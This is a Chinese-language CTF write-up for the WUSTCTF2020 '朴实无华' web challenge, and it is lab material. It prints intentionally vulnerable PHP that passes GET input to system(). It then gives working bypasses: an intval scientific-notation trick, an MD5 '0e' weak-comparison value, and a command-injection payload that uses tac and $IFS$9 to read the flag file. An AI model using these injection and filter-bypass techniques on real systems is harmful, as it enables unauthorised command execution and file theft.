[WUSTCTF2020]朴实无华

题目:

[WUSTCTF2020]朴实无华_第1张图片
题目一打开显示乱码,我们用火狐浏览器调整一下编码就OK,但是不知道为什么qq浏览器调整之后还是不行
image.png
[WUSTCTF2020]朴实无华_第2张图片
火狐浏览器->三道杠->更多->文字编码->Unicode就可以了

痛苦才刚刚开始

1.看到bot字眼,第一眼想到buu的bot机器人,然后就想到robots.txt网站的爬虫规则,访问一下,果然有料
[WUSTCTF2020]朴实无华_第3张图片
2.访问一下fAke_f1agggg.php,我就知道不会这么简单
[WUSTCTF2020]朴实无华_第4张图片
3.对页面抓包看一下,F12看也一样,有料,看到了Look_at_me: /fl4g.php
[WUSTCTF2020]朴实无华_第5张图片
4.大眼一看三层绕过,还让我去非洲???

 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>

5.intval函数绕过

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); }

GET接收num传参,num要小于2020,加1之后要大于2021,否则要么die,要么还是die
随后查询intval()函数的使用方式,发现如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型
[WUSTCTF2020]朴实无华_第6张图片
这样一来就可以bypass
[WUSTCTF2020]朴实无华_第7张图片
6.MD5弱类型

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); }

意思就是找到一串数字使它md5加密前后数值相等,显而易见的md5如类型
产生条件我们都知道,是因为php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较
这种数字百度就可以搜到,0e215962017
成功突破第二关
[WUSTCTF2020]朴实无华_第8张图片
7.get flag

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); }

意思就是:get_flag用于接收参数,作为系统命令执行,传参不能有空格,如果有cat,将会被替换为wctf2020
先传一个ls看一看,目标出现了
[WUSTCTF2020]朴实无华_第9张图片
虽然过滤了cat命令,但是我们可以使用tac命令,用法就是将按行倒着显示,最后一行显示在最上面
绕过空格,我们可以使用$IFS$9
留存一下绕过小技巧的文章https://www.freebuf.com/articles/web/137923.html
所以最终payload

/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WUSTCTF2020]朴实无华_第10张图片

你可能感兴趣的:([WUSTCTF2020]朴实无华)